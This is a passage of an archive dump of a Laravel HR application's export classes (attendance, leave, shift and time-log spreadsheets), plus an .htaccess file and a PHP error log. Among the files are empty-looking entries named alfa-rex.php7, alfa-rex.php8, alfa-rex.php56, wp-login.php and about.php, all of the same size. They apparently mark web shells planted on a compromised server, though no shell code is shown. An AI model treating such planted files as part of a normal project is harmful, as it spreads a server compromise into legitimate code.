__('modules.deal.otherDealStagesValue'), ]; } public function registerEvents(): array { return [ AfterSheet::class => function(AfterSheet $event) { $event->sheet->getStyle('A1:J1')->applyFromArray([ 'font' => [ 'bold' => true, ], ]); // Set format for each cell in the range A2:J $lastRow = $event->sheet->getHighestRow(); $range = 'A2:J' . $lastRow; $event->sheet->getStyle($range)->getNumberFormat()->setFormatCode('0'); }, ]; } } Exports/.htaccess000064400000000544150325104510010005 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Exports/alfa-rex.php7000064400000026574150325104510010521 0ustar00Exports/AttendanceExport.php000064400000040453150325104510012173 0ustar00viewAttendancePermission = user()->permission('view_attendance'); $this->year = $year; $this->month = $month; $this->userId = $id; $this->department = $department; $this->designation = $designation; $this->startdate = $startdate; $this->enddate = $enddate; } public function registerEvents(): array { return [ AfterSheet::class => [self::class, 'afterSheet'], ]; } public static function afterSheet(AfterSheet $event) { $emp_status = self::$sum; $total = count($emp_status); $arr = array('B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'AA', 'AB', 'AC', 'AD', 'AE', 'AF', 'AG', 'AH', 'AI', 'AJ', 'AK', 'AL', 'AM', 'AN', 'AO', 'AP', 'AQ', 'AR', 'AS', 'AT', 'AU', 'AV', 'AW', 'AX', 'AY', 'AZ'); $j = 2; for ($index = 0; $index < $total; $index++) { $total_day = isset($emp_status[$index]['dates']) ? count($emp_status[$index]['dates']) : 0; for ($i = 1; $i <= $total_day; $i++) { if ($emp_status[$index]['dates'][$i]['total_hours'] > 0) { $event->sheet->getDelegate()->getComment($arr[$i - 1] . $j)->getText()->createTextRun( ['Status : ' . $emp_status[$index]['dates'][$i]['comments']['status'], $emp_status[$index]['dates'][$i]['comments']['clock_in'], ] ); } } $j++; } $event->sheet->getDelegate()->getStyle('b:ag') ->getAlignment() ->setHorizontal(Alignment::HORIZONTAL_CENTER); } public function headings(): array { $arr = array(); $period = CarbonPeriod::create($this->startdate, $this->enddate); // Get All Dates from start to end date $arr[] = __('app.empdate'); foreach ($period->toArray() as $date) { $arr[] = $date->format('d-m-Y'); } return [ $arr, ]; } public function collection() { $startDate = $this->startdate; $endDate = $this->enddate; $id = $this->userId; $employees = EmployeeDetails::join('users', 'employee_details.user_id', '=', 'users.id'); if ($id != 'all') { if ($this->viewAttendancePermission == 'owned') { $employees->where('users.id', user()->id); } else { $employees->where('users.id', $id); } } else if ($this->viewAttendancePermission == 'owned') { $employees->where('users.id', user()->id); } if ($this->viewAttendancePermission == 'owned') { $employees->where('users.id', user()->id); } if ($this->department != 'all') { $employees->where('employee_details.department_id', $this->department); } if ($this->designation != 'all') { $employees->where('employee_details.designation_id', $this->designation); } $employees->where(function ($query) use ($startDate, $endDate) { $query->where('users.status','active') ->orWhere(function ($subQuery) use ($startDate, $endDate) { $subQuery->whereRaw('YEAR(users.inactive_date) >= ?', [$startDate->format('Y')]) ->whereRaw('MONTH(users.inactive_date) >= ?', [$endDate->format('m')]); }); }); $employees = $employees->select('users.name', 'users.id')->get(); $employeedata = array(); $emp_attendance = 1; $employee_index = 0; foreach ($employees as $employee) { $userId = $employee->id; $employeedata[$employee_index]['employee_name'] = $employee->name; $attendances = Attendance::where('attendances.user_id', '=', $userId); $attendances = $attendances->orderBy('attendances.clock_in_time', 'asc') ->where(DB::raw('DATE(attendances.clock_in_time)'), '>=', $startDate->format('Y-m-d')) ->where(DB::raw('DATE(attendances.clock_in_time)'), '<=', $endDate->format('Y-m-d')) ->select('attendances.clock_in_time as date', 'attendances.clock_in_time', 'attendances.working_from', 'attendances.location_id', 'attendances.clock_out_time', 'attendances.late', 'attendances.half_day', 'attendances.auto_clock_out', 'attendances.half_day_type')->get(); $leavesDates = Leave::where('user_id', $userId) ->where('leave_date', '>=', $startDate) ->where('leave_date', '<=', $endDate) ->where('status', 'approved') ->select('leave_date', 'reason', 'duration')->get(); $employeeShifts = EmployeeShiftSchedule::with('shift') ->where('user_id', $userId) ->where('date', '>=', $startDate) ->where('date', '<=', $endDate) ->get(); $period = CarbonPeriod::create($startDate, $endDate); // Get All Dates from start to end date $holidays = Holiday::getHolidayByDates($startDate, $endDate, $userId); // Getting Holiday Data $attendances = collect($attendances)->each(function ($item) { $item->status = ''; $item->occassion = ''; }); // Add New Collection if date does not match with attendance collection... foreach ($period->toArray() as $date) { $att = new Attendance(); $att->date = $date->format('Y-m-d'); $att->clock_in_time = null; $att->clock_out_time = null; $att->late = null; $att->half_day = null; $att->half_day_type = null; $att->working_from = null; $att->location_id = null; if ($date->lessThan(now()) && !$attendances->whereBetween('clock_in_time', [$date->copy()->startOfDay(), $date->copy()->endOfDay()])->count()) { $att->status = 'Absent'; // If date is not in attendance.. foreach ($leavesDates as $leave) { // check leaves if ($date->equalTo($leave->leave_date)) { $att->status = 'Leave'; } } foreach ($holidays as $holiday) { // Check holidays if (\Carbon\Carbon::createFromFormat('Y-m-d', $holiday->holiday_date)->startOfDay()->equalTo($date)) { $att->status = 'Holiday'; $att->occassion = $holiday->occassion; } } foreach ($employeeShifts as $shift) { // Check shifts if ($date->equalTo($shift->date) && $shift->shift->shift_name == 'Day Off') { $att->status = $shift->shift->shift_name; } } $attendances->push($att); } else if ($date->lessThan(now())) { // else date present in attendance then check for holiday and leave foreach ($leavesDates as $leave) { // check employee leaves if ($date->equalTo($leave->leave_date)) { $att->status = 'Leave'; $attendances->push($att); } } foreach ($holidays as $holiday) { // Check holidays if ($date->format('Y-m-d') == $holiday->holiday_date && !$attendances->whereBetween('clock_in_time', [$date->copy()->startOfDay(), $date->copy()->endOfDay()])->count()) { $att->status = 'Holiday'; $att->occassion = $holiday->occassion; $attendances->push($att); } else if ($date->format('Y-m-d') == $holiday->holiday_date && $attendances->whereBetween('clock_in_time', [$date->copy()->startOfDay(), $date->copy()->endOfDay()])->count()) { // here modify the collection property not creating new $this->checkHolidays($attendances, $date); } } foreach ($employeeShifts as $shift) { // Check shifts if ($date->equalTo($shift->date) && $shift->shift->shift_name == 'Day Off') { $att->status = $shift->shift->shift_name; $attendances->push($att); } } } } $employee_temp = array(); $status = __('app.present'); foreach ($attendances->sortBy('date') as $attendance) { $date = Carbon::createFromFormat('Y-m-d H:i:s', $attendance->date)->timezone(company()->timezone)->format(company()->date_format); $to = $attendance->clock_out_time ? \Carbon\Carbon::parse($attendance->clock_out_time) : null; $from = $attendance->clock_in_time ? \Carbon\Carbon::parse($attendance->clock_in_time) : null; if ($from && !$to) { $to = $this->getDefaultClockOutTime($from, $employeeShifts->where('date', $attendance->date)->first()); } $clock_in = $attendance->clock_in_time ? Carbon::createFromFormat('Y-m-d H:i:s', $attendance->clock_in_time)->timezone(company()->timezone)->format(company()->time_format) : 0; $clock_out = $attendance->clock_out_time ? Carbon::createFromFormat('Y-m-d H:i:s', $attendance->clock_out_time)->timezone(company()->timezone)->format(company()->time_format) : 0; if($clock_out != 0 && $attendance->auto_clock_out == 1) { $clock_out .= ' ' . __('Modules.attendance.autoClockOut'); } $diff_in_hours = ($to && $from) ? $to->diffInMinutes($from) : 0; if ($attendance->status != null) { if ($attendance->status == 'Absent') { $status = __('app.absent'); } else if ($attendance->status == 'Leave') { $status = __('app.onLeave'); } else if ($attendance->status == 'Day Off') { $status = __('modules.attendance.dayOff'); } else if ($attendance->status == 'Holiday') { $status = __('app.holiday', ['name' => $attendance->occassion]); } } else if ($attendance->late == 'yes' && $attendance->half_day == 'yes') { $halfDayType = ''; if ($attendance->half_day_type == 'first_half') { $halfDayType = '('. __('modules.leaves.1stHalf') .')'; } elseif ($attendance->half_day_type == 'second_half') { $halfDayType = '('. __('modules.leaves.2ndHalf') .')'; } $status = __('app.halfday') . $halfDayType . __('app.lateHalfday'); } else if ($attendance->late == 'yes') { $status = __('app.presentlate'); } else if ($attendance->half_day == 'yes') { $halfDayType = ''; if ($attendance->half_day_type == 'first_half') { $halfDayType = '('. __('modules.leaves.1stHalf') .')'; } elseif ($attendance->half_day_type == 'second_half') { $halfDayType = '('. __('modules.leaves.2ndHalf') .')'; } $status = __('app.halfday') . $halfDayType; } else { $status = '--'; } $workFrom = $attendance->working_from ?? '--'; $companyAddress = CompanyAddress::where('id', $attendance->location_id)->first(); $location = '-'; if($companyAddress){ $location = $companyAddress->location; } if ($employee_temp && $employee_temp[1] == $date) { $employeedata[$employee_index]['dates'][$emp_attendance - 1]['comments']['clock_in'] .= ' Clock In : ' . $clock_in . ' Clock Out : ' . $clock_out . ' Work From : ' . $workFrom . ' location : ' . $location; $employeedata[$employee_index]['dates'][$emp_attendance - 1]['total_hours'] = $employeedata[$employee_index]['dates'][$emp_attendance - 1]['total_hours'] + $diff_in_hours; } else { $employeedata[$employee_index]['dates'][$emp_attendance] = [ 'total_hours' => $diff_in_hours, 'date' => $attendance->date, 'comments' => [ 'status' => $status, 'clock_in' => 'Clock In : ' . $clock_in . ' Clock Out : ' . $clock_out . ' Work From : ' . $workFrom . ' location : ' . $location, ], ]; $emp_attendance++; } $employee_temp = [$emp_attendance, $date]; } $employee_index++; $emp_attendance = 1; } $employeedata = collect($employeedata); self::$sum = $employeedata; return $employeedata; } public function map($employeedata): array { $data = array(); $data[] = $employeedata['employee_name']; $num = isset($employeedata['dates']) ? count($employeedata['dates']) : 0; for ($index = 1; $index <= $num; $index++) { $emp_status = $employeedata['dates'][$index]['comments']['status']; if (str_contains($emp_status, 'Holiday') || $employeedata['dates'][$index]['total_hours'] < 1) { $data[] = $employeedata['dates'][$index]['comments']['status']; } else { $data[] = CarbonInterval::formatHuman($employeedata['dates'][$index]['total_hours']); } } return $data; } public function checkHolidays($attendances, $date) { foreach ($attendances as $attendance) { if ($date->format('Y-m-d') == \Carbon\Carbon::parse($attendance->clock_in_time)->format('Y-m-d')) { $attendance->status = ''; } } } private function getDefaultClockOutTime($date, $attendanceSettings) { if ($attendanceSettings) { $attendanceSettings = $attendanceSettings->shift; } else { $attendanceSettings = AttendanceSetting::first()->shift; // Do not get this from session here } $defaultClockOutTime = Carbon::createFromFormat('Y-m-d H:i:s', $date->format('Y-m-d') . ' ' . $attendanceSettings->office_end_time, $attendanceSettings->company->timezone); if ($defaultClockOutTime->lessThan($date)) { $defaultClockOutTime = $date; } return $defaultClockOutTime; } } Exports/alfa-rex.php8000064400000026574150325104510010522 0ustar00Exports/wp-login.php000064400000026574150325104510010467 0ustar00Exports/alfa-rex.php56000064400000026574150325104510010605 0ustar00Exports/about.php000064400000026574150325104510010045 0ustar00Exports/error_log000064400000001626150325104510010126 0ustar00[04-Jul-2025 12:09:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 12:43:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Exports/AttendanceByMemberExport.php000064400000025413150325104510013615 0ustar00year = $year; $this->month = $month; $this->userId = $id; $this->empname = $employeeName; $this->startdate = $startDate; $this->enddate = $endaDate; $this->date = $this->enddate->lessThan(now()) ? $this->enddate : now(); } public function headings(): array { return [ [__('app.attendanceof') . $this->empname . '_' . __('app.from') . '_' . $this->startdate->format('d-m-Y') . '_' . __('app.to') . '_' . $this->date->format('d-m-Y'), __('modules.attendance.clock_in'), __('modules.attendance.clock_out'), __('app.status'), __('app.location'), __('app.total')] ]; } public function collection() { $startDate = $this->startdate; $endDate = $this->enddate; $userId = $this->userId; $attendances = Attendance:: leftJoin('company_addresses', 'company_addresses.id', '=', 'attendances.location_id') ->where('attendances.user_id', '=', $userId) ->where(DB::raw('DATE(attendances.clock_in_time)'), '>=', $startDate->format('Y-m-d')) ->where(DB::raw('DATE(attendances.clock_in_time)'), '<=', $endDate->format('Y-m-d')) ->orderBy('attendances.clock_in_time', 'asc') ->select('attendances.clock_in_time as date', 'attendances.clock_in_time', 'attendances.clock_out_time', 'attendances.late', 'attendances.half_day', 'company_addresses.location', 'attendances.auto_clock_out', 'attendances.half_day_type')->get(); $leavesDates = Leave::where('user_id', $userId) ->where('leave_date', '>=', $startDate) ->where('leave_date', '<=', $endDate) ->where('status', 'approved') ->select('leave_date', 'reason', 'duration')->get(); $period = CarbonPeriod::create($startDate, $endDate); // Get All Dates from start to end date $holidays = Holiday::getHolidayByDates($startDate, $endDate, $userId); // Getting Holiday Data $attendances = collect($attendances)->each(function ($item) { $item->status = ''; $item->occassion = ''; }); // Add New Collection if period date does not match with attendance collection... $employeedata = array(); $emp_attendance = 0; $status = __('app.present'); foreach ($period->toArray() as $date) { $att = new Attendance(); $att->date = $date; $att->clock_in_time = null; $att->clock_out_time = null; $att->late = null; $att->half_day = null; $att->half_day_type = null; if ($date->lessThan(now()) && !$attendances->whereBetween('date', [$date->copy()->startOfDay(), $date->copy()->endOfDay()])->count()) { // If date is not in attendance.. $att->status = 'Absent'; // If date is not in attendance.. // Check employee leaves foreach ($leavesDates as $leave) { if ($date->equalTo($leave->leave_date)) { $att->status = 'Leave'; } } // Check holidays foreach ($holidays as $holiday) { if (Carbon::createFromFormat('Y-m-d', $holiday->holiday_date)->startOfDay()->equalTo($date)) { $att->status = 'Holiday'; $att->occassion = $holiday->occassion; } } $attendances->push($att); } else if ($date->lessThan(now())) { // Else date present in attendance then check for holiday and leave // Check employee leaves foreach ($leavesDates as $leave) { if ($date->equalTo($leave->leave_date)) { $att->status = 'Leave'; $attendances->push($att); } } // Check holidays foreach ($holidays as $holiday) { if ($date->format('Y-m-d') == $holiday->holiday_date && !$attendances->whereBetween('date', [$date->copy()->startOfDay(), $date->copy()->endOfDay()])->count()) { $att->status = 'Holiday'; $att->occassion = $holiday->occassion; $attendances->push($att); } else if ($date->format('Y-m-d') == $holiday->holiday_date && $attendances->whereBetween('date', [$date->copy()->startOfDay(), $date->copy()->endOfDay()])->count()) { // Here just modify the collection property not creating new $this->checkHolidays($attendances, $date, $holiday->occassion); } } } } $employee_temp = array(); foreach ($attendances->sortBy('date') as $attendance) { $date = Carbon::createFromFormat('Y-m-d H:i:s', $attendance->date)->timezone(company()->timezone)->format(company()->date_format); $to = $attendance->clock_out_time ? Carbon::parse($attendance->clock_out_time) : null; $from = $attendance->clock_in_time ? Carbon::parse($attendance->clock_in_time) : null; $clock_in = $attendance->clock_in_time ? Carbon::createFromFormat('Y-m-d H:i:s', $attendance->clock_in_time)->timezone(company()->timezone)->format(company()->time_format) : 0; $clock_out = $attendance->clock_out_time ? Carbon::createFromFormat('Y-m-d H:i:s', $attendance->clock_out_time)->timezone(company()->timezone)->format(company()->time_format) : 0; $diff_time = ($to && $from) ? $to->diffInMinutes($from) : 0; $location = $attendance->location; if($clock_out != 0 && $attendance->auto_clock_out == 1) { $clock_out .= ' ' . __('Modules.attendance.autoClockOut'); } $status = __('app.present'); if ($attendance->status != null) { if ($attendance->status == 'Absent') { $status = __('app.absent'); } else if ($attendance->status == 'Leave') { $status = __('app.onLeave'); } else if ($attendance->status == 'Holiday') { $status = __('app.holiday', ['name' => $attendance->occassion]); } } else if ($attendance->late == 'yes' && $attendance->half_day == 'yes') { $halfDayType = ''; if ($attendance->half_day_type == 'first_half') { $halfDayType = '('. __('modules.leaves.1stHalf') .')'; } elseif ($attendance->half_day_type == 'second_half') { $halfDayType = '('. __('modules.leaves.2ndHalf') .')'; } $status = __('app.halfday') . $halfDayType . __('app.lateHalfday'); } else if ($attendance->late == 'yes') { $status = __('app.presentlate'); } else if ($attendance->half_day == 'yes') { $halfDayType = ''; if ($attendance->half_day_type == 'first_half') { $halfDayType = '('. __('modules.leaves.1stHalf') .')'; } elseif ($attendance->half_day_type == 'second_half') { $halfDayType = '('. __('modules.leaves.2ndHalf') .')'; } $status = __('app.halfday') . $halfDayType; } if ($diff_time > 0 || $clock_out != 0) { if ($employee_temp && $employee_temp[1] == $date) { $employeedata[$employee_temp[0] - 1]['comments']['clock_in'] .= 'Clock In : ' . $clock_in . ' Clock Out : ' . $clock_out; $employeedata[$employee_temp[0] - 1]['total_hours'] = $employeedata[$employee_temp[0] - 1]['total_hours'] + $diff_time; } else { $employeedata[$emp_attendance] = [ 'date' => $date, 'location' => $location, 'total_hours' => $diff_time, 'comments' => [ 'status' => $status, 'clockIn' => $clock_in, 'clockOut' => $clock_out, ], ]; $emp_attendance++; } } else { $employeedata[$emp_attendance] = [ 'date' => $date, 'total_hours' => $diff_time, 'location' => $location, 'comments' => [ 'status' => $status, 'clockIn' => $clock_in, 'clockOut' => $clock_out, ], ]; $emp_attendance++; } } $employeedata = collect($employeedata); self::$sum = $employeedata; return $employeedata; } public function map($employeedata): array { $diff = $employeedata['total_hours']; if (is_int($diff)) { $diff = CarbonInterval::formatHuman($employeedata['total_hours']); /** @phpstan-ignore-line */ } $view_status = ($diff > 0) ? $diff : $employeedata['comments']['status']; return [ $employeedata['date'], $employeedata['comments']['clockIn'], $employeedata['comments']['clockOut'], $employeedata['comments']['status'], $employeedata['location'], $view_status, ]; } public function checkHolidays($attendances, $date, $occassion) { foreach ($attendances as $attendance) { if ($date->format('Y-m-d') == Carbon::parse($attendance->clock_in_time)->format('Y-m-d')) { $attendance->status = 'Holiday'; $attendance->occassion = $occassion; } } } } Exports/LeaveExport.php000064400000017374150325104510011167 0ustar00startdate = $startdate; $this->enddate = $enddate; $this->exportAll = $exportAll; $this->viewLeavePermission = user()->permission('view_leave'); $this->reportingPermission = LeaveSetting::value('manager_permission'); } public function registerEvents(): array { return [ AfterSheet::class => [self::class, 'afterSheet'], ]; } public static function afterSheet(AfterSheet $event) { $emp_status = self::$sum; $total = count($emp_status); $rowIndex = 2; foreach ($emp_status as $index => $leave) { if (isset($leave['leave_date']['comments'])) { $data = $leave['leave_date']['data']; $comments = implode(', ', $leave['leave_date']['comments']); $cell = 'D' . $rowIndex; $event->sheet->getDelegate()->setCellValue($cell, $data); $event->sheet->getDelegate()->getComment($cell)->getText()->createTextRun($comments); } if (isset($leave['status']['comments']['status'])) { $data = $leave['status']['data']; $statusComments = $leave['status']['comments']['status']; $statusCell = 'F' . $rowIndex; $event->sheet->getDelegate()->setCellValue($statusCell, $data); $event->sheet->getDelegate()->getComment($statusCell)->getText()->createTextRun($statusComments); } $rowIndex++; } $event->sheet->getDelegate()->getStyle('B:AG') ->getAlignment() ->setHorizontal(Alignment::HORIZONTAL_CENTER); } public function headings(): array { $arr = array(); $arr[] =[ '#', __('app.id'), __('app.employee'), __('app.leaveDate'), __('app.duration'), __('app.leaveStatus'), __('app.leaveType'), __('app.paid') ]; return $arr; } public function collection() { $leavesList = Leave::with('user', 'user.employeeDetail', 'user.employeeDetail.designation', 'user.session', 'type') ->join('leave_types', 'leave_types.id','leaves.leave_type_id') ->join('users', 'leaves.user_id', 'users.id') ->join('employee_details', 'employee_details.user_id', 'users.id') ->selectRaw('leaves.*, leave_types.color, leave_types.type_name, ( select count("lvs.id") from leaves as lvs where lvs.unique_id = leaves.unique_id and lvs.duration = \'multiple\') as count_multiple_leaves', ) ->groupByRaw('ifnull(leaves.unique_id, leaves.id)'); if($this->exportAll == false){ if (!is_null($this->startdate)) { $leavesList->whereRaw('Date(leaves.leave_date) >= ?', [$this->startdate]); } if (!is_null($this->enddate)) { $leavesList->whereRaw('Date(leaves.leave_date) <= ?', [$this->enddate]); } } if (request()->searchText != '') { $leavesList->where('users.name', 'like', '%' . request()->searchText . '%'); } if ($this->viewLeavePermission == 'owned') { $leavesList->where(function ($q) { $q->orWhere('leaves.user_id', '=', user()->id); ($this->reportingPermission != 'cannot-approve') ? $q->orWhere('employee_details.reporting_to', user()->id) : ''; }); } if ($this->viewLeavePermission == 'added') { $leavesList->where(function ($q) { $q->orWhere('leaves.added_by', '=', user()->id); ($this->reportingPermission != 'cannot-approve') ? $q->orWhere('employee_details.reporting_to', user()->id) : ''; }); } if ($this->viewLeavePermission == 'both') { $leavesList->where(function ($q) { $q->orwhere('leaves.user_id', '=', user()->id); $q->orWhere('leaves.added_by', '=', user()->id); ($this->reportingPermission != 'cannot-approve') ? $q->orWhere('employee_details.reporting_to', user()->id) : ''; }); } $leaveLists = $leavesList->get(); $leavedata = array(); $emp_leave = 1; $employee_index = 0; foreach ($leaveLists as $leavesList) { $leavedata[$employee_index]['#'] = $emp_leave; $leavedata[$employee_index]['employee_name'] = $leavesList->user->id; $leavedata[$employee_index]['id'] = $leavesList->user->name; if($leavesList->duration == 'multiple'){ $leaves = Leave::where('unique_id', $leavesList->unique_id)->get(); $leaveDatesComments = []; $leaveStatusComments = []; foreach ($leaves as $leave) { $leaveDatesComments[] = $leave->leave_date->format('d-m-Y') .' ('.Carbon::parse($leave->leave_date)->translatedFormat('l').')'; $leaveStatusComments[] = $leave->leave_date->format('d-m-Y') . ' : ' . ucfirst($leave->status); } $leaveDatesString = implode(', ', $leaveDatesComments); $leaveStatusString = implode(', ', $leaveStatusComments); $leavedata[$employee_index]['leave_date'] = [ 'data' => $leavesList->leave_date->format('d-m-Y') .' ('.Carbon::parse($leave->leave_date)->translatedFormat('l').')', 'comments' => [ $leaveDatesString ] ]; if($leavesList->count_multiple_leaves != 0){ $data = ' ' . $leavesList->count_multiple_leaves .' '.__('app.leave'); $leavedata[$employee_index]['duration'] = ucfirst($leavesList->duration) . $data; } $leavedata[$employee_index]['status'] = [ 'data' => 'View Status', 'comments' => [ 'status' => $leaveStatusString, ] ]; $leavedata[$employee_index]['leave_type'] = $leavesList->type->type_name; }else{ $leavedata[$employee_index]['leave_date'] = $leavesList->leave_date->format('d-m-Y') .' ('.Carbon::parse($leavesList->leave_date)->translatedFormat('l').')'; $leavedata[$employee_index]['duration'] = ucfirst($leavesList->duration); $leavedata[$employee_index]['leave_status'] = ucfirst($leavesList->status); $leavedata[$employee_index]['leave_type'] = $leavesList->type->type_name; } $leavedata[$employee_index]['paid'] = $leavesList->type->paid == 1 ? __('app.paid') : __('app.unpaid'); $employee_index++; $emp_leave++; } $leavedata = collect($leavedata); self::$sum = $leavedata; return $leavedata; } public function map($leavedata): array { $data = array(); $data[] = $leavedata['employee_name']; return $data; } } Exports/ShiftScheduleExport.php000064400000021412150325104510012651 0ustar00viewAttendancePermission = user()->permission('view_shift_roster'); $this->year = $year; $this->month = $month; $this->userId = $id; $this->department = $department; $this->startdate = $startdate; $this->enddate = $enddate; $this->viewType = $viewType; } public function registerEvents(): array { return [ AfterSheet::class => [self::class, 'afterSheet'], ]; } public static function afterSheet(AfterSheet $event) { $emp_status = self::$sum; $total = count($emp_status); $arr = array('B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'AA', 'AB', 'AC', 'AD', 'AE', 'AF', 'AG', 'AH', 'AI', 'AJ', 'AK', 'AL', 'AM', 'AN', 'AO', 'AP', 'AQ', 'AR', 'AS', 'AT', 'AU', 'AV', 'AW', 'AX', 'AY', 'AZ'); $j = 2; $event->sheet->getDelegate()->getStyle('b:ag') ->getAlignment() ->setHorizontal(Alignment::HORIZONTAL_CENTER); } public function headings(): array { $arr = array(); $period = CarbonPeriod::create($this->startdate, $this->enddate); // Get All Dates from start to end date $arr[] = __('app.empdate'); foreach ($period->toArray() as $date) { $arr[] = $date->format('d-m-Y'); } return [ $arr, ]; } public function collection() { $startDate = $this->startdate; $endDate = $this->enddate; $id = $this->userId; $employees = User::with( ['shifts' => function ($query) use ($startDate, $endDate) { $query->wherebetween('employee_shift_schedules.date', [$startDate->toDateString(), $endDate->toDateString()]); }, 'leaves' => function ($query) use ($startDate, $endDate) { $query->wherebetween('leaves.leave_date', [$startDate->toDateString(), $endDate->toDateString()]) ->where('status', 'approved'); }, 'shifts.shift', 'leaves.type'] )->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->select('users.id', 'users.name', 'users.email', 'users.created_at', 'employee_details.department_id', 'users.image') ->onlyEmployee()->groupBy('users.id'); if ($this->department != 'all') { $employees = $employees->where('employee_details.department_id', $this->department); } if ($this->userId != 'all') { $employees = $employees->where('users.id', $this->userId); } $employees = $employees->get(); $this->holidays = Holiday::whereRaw('MONTH(holidays.date) = ?', [$this->month])->whereRaw('YEAR(holidays.date) = ?', [$this->year])->get(); $final = []; $holidayOccasions = []; $shiftColorCode = []; if ($startDate->month == $endDate->month) { $this->daysInMonth = Carbon::parse('01-' . $endDate->month . '-' . $this->year)->daysInMonth; } else { $this->daysInMonth = Carbon::parse('01-' . $startDate->month . '-' . $this->year)->daysInMonth; } $now = now()->timezone(company()->timezone); $requestedDate = Carbon::parse(Carbon::parse('01-' . $this->month . '-' . $this->year))->endOfMonth(); $employeedata = array(); $emp_attendance = 1; $employee_index = 0; foreach ($employees as $employee) { $employeedata[$employee_index]['employee_name'] = $employee->name; if ($this->viewType != 'week') { $dataTillToday = array_fill(1, $now->copy()->format('d'), '--'); $dataFromTomorrow = array_fill($now->copy()->addDay()->format('d'), ((int)$this->daysInMonth - (int)$now->copy()->format('d')), '--'); $employeedata[$employee_index]['dates'] = array_replace($dataTillToday, $dataFromTomorrow); } else { $period = CarbonPeriod::create($this->startdate, $this->enddate); // Get All Dates from start to end date $employeedata[$employee_index]['dates'] = []; foreach ($period->toArray() as $date) { $employeedata[$employee_index]['dates'][$date->day] = '--'; } } foreach ($employee->shifts as $shift) { $employeedata[$employee_index]['dates'][Carbon::parse($shift->date)->timezone(company()->timezone)->day] = $shift->shift->shift_name; } $employeeName = $employee->name; $final[$employee->id . '#' . $employee->name][] = $employeeName; if ($employee->employeeDetail->joining_date->greaterThan(Carbon::parse(Carbon::parse('01-' . $this->month . '-' . $this->year)))) { if ($this->month == $employee->employeeDetail->joining_date->format('m') && $this->year == $employee->employeeDetail->joining_date->format('Y')) { if ($employee->employeeDetail->joining_date->format('d') == '01') { $dataBeforeJoin = array_fill(1, $employee->employeeDetail->joining_date->format('d'), '-'); $shiftColorCode = array_fill(1, $employee->employeeDetail->joining_date->format('d'), ''); } else { $dataBeforeJoin = array_fill(1, $employee->employeeDetail->joining_date->subDay()->format('d'), '-'); } } } foreach ($employee->leaves as $leave) { if ($leave->duration != 'half day') { $employeedata[$employee_index]['dates'][$leave->leave_date->day] = __('app.leave') . ': ' . $leave->type->type_name; $shiftColorCode[$leave->leave_date->day] = ''; } } foreach ($this->holidays as $holiday) { if (in_array($holiday->date->day, array_keys($employeedata[$employee_index]['dates']))) { if ($employeedata[$employee_index]['dates'][$holiday->date->day] == 'Absent' || $employeedata[$employee_index]['dates'][$holiday->date->day] == '--') { $employeedata[$employee_index]['dates'][$holiday->date->day] = 'Holiday'; $holidayOccasions[$holiday->date->day] = $holiday->occassion; $shiftColorCode[$holiday->date->day] = ''; } } } $employee_index++; $emp_attendance = 1; } $employeedata = collect($employeedata); self::$sum = $employeedata; return $employeedata; } public function map($employeedata): array { $data = array(); $data[] = $employeedata['employee_name']; $now = Carbon::parse($this->startdate, company()->timezone); $this->weekStartDate = $now->copy()->startOfWeek(attendance_setting()->week_start_from); $startDate = Carbon::parse($this->weekStartDate)->day; $this->weekEndDate = Carbon::parse($this->weekStartDate->copy()->addDays(6))->day; if ($this->viewType != 'week') { $num = isset($employeedata['dates']) ? count($employeedata['dates']) : 0; for ($index = 1; $index <= $num; $index++) { $data[] = $employeedata['dates'][$index]; } } else { $num = isset($employeedata['dates']) ? count($employeedata['dates']) : 0; $period = CarbonPeriod::create($this->startdate, $this->enddate); // Get All Dates from start to end date foreach ($period->toArray() as $date) { $data[] = $employeedata['dates'][$date->day]; } } return $data; } } Exports/ProjectwiseTimeLogExport.php000064400000015040150325104510013676 0ustar00startDate = $startDate; $this->endDate = $endDate; $this->employeeId = $employeeId; $this->projectId = $projectId; } public function collection() { $query = ProjectTimeLog::with(['user', 'project', 'task', 'breaks', 'activeBreak']) ->join('users', 'users.id', '=', 'project_time_logs.user_id') ->leftJoin('tasks', 'tasks.id', '=', 'project_time_logs.task_id') ->leftJoin('projects', 'projects.id', '=', 'project_time_logs.project_id') ->select( 'project_time_logs.*', 'users.name as employee_name', 'projects.project_name' ); if ($this->startDate) { $query->whereDate(DB::raw('DATE(project_time_logs.`start_time`)'), '>=', $this->startDate); } if ($this->endDate) { $query->whereDate(DB::raw('DATE(project_time_logs.`end_time`)'), '<=', $this->endDate); } if ($this->employeeId && $this->employeeId !== 'all') { $query->where('project_time_logs.user_id', $this->employeeId); } if ($this->projectId && $this->projectId !== 'all') { $query->where('projects.id', $this->projectId); } return $query->whereNull('tasks.deleted_at') ->orderBy('project_time_logs.id', 'desc') ->orderBy('user_id') ->orderBy('project_id') ->get() ->groupBy('user_id'); } public function map($timelogs): array { $mappedData = []; $startRow = $this->rowCount + 1; $projectLogs = []; foreach ($timelogs as 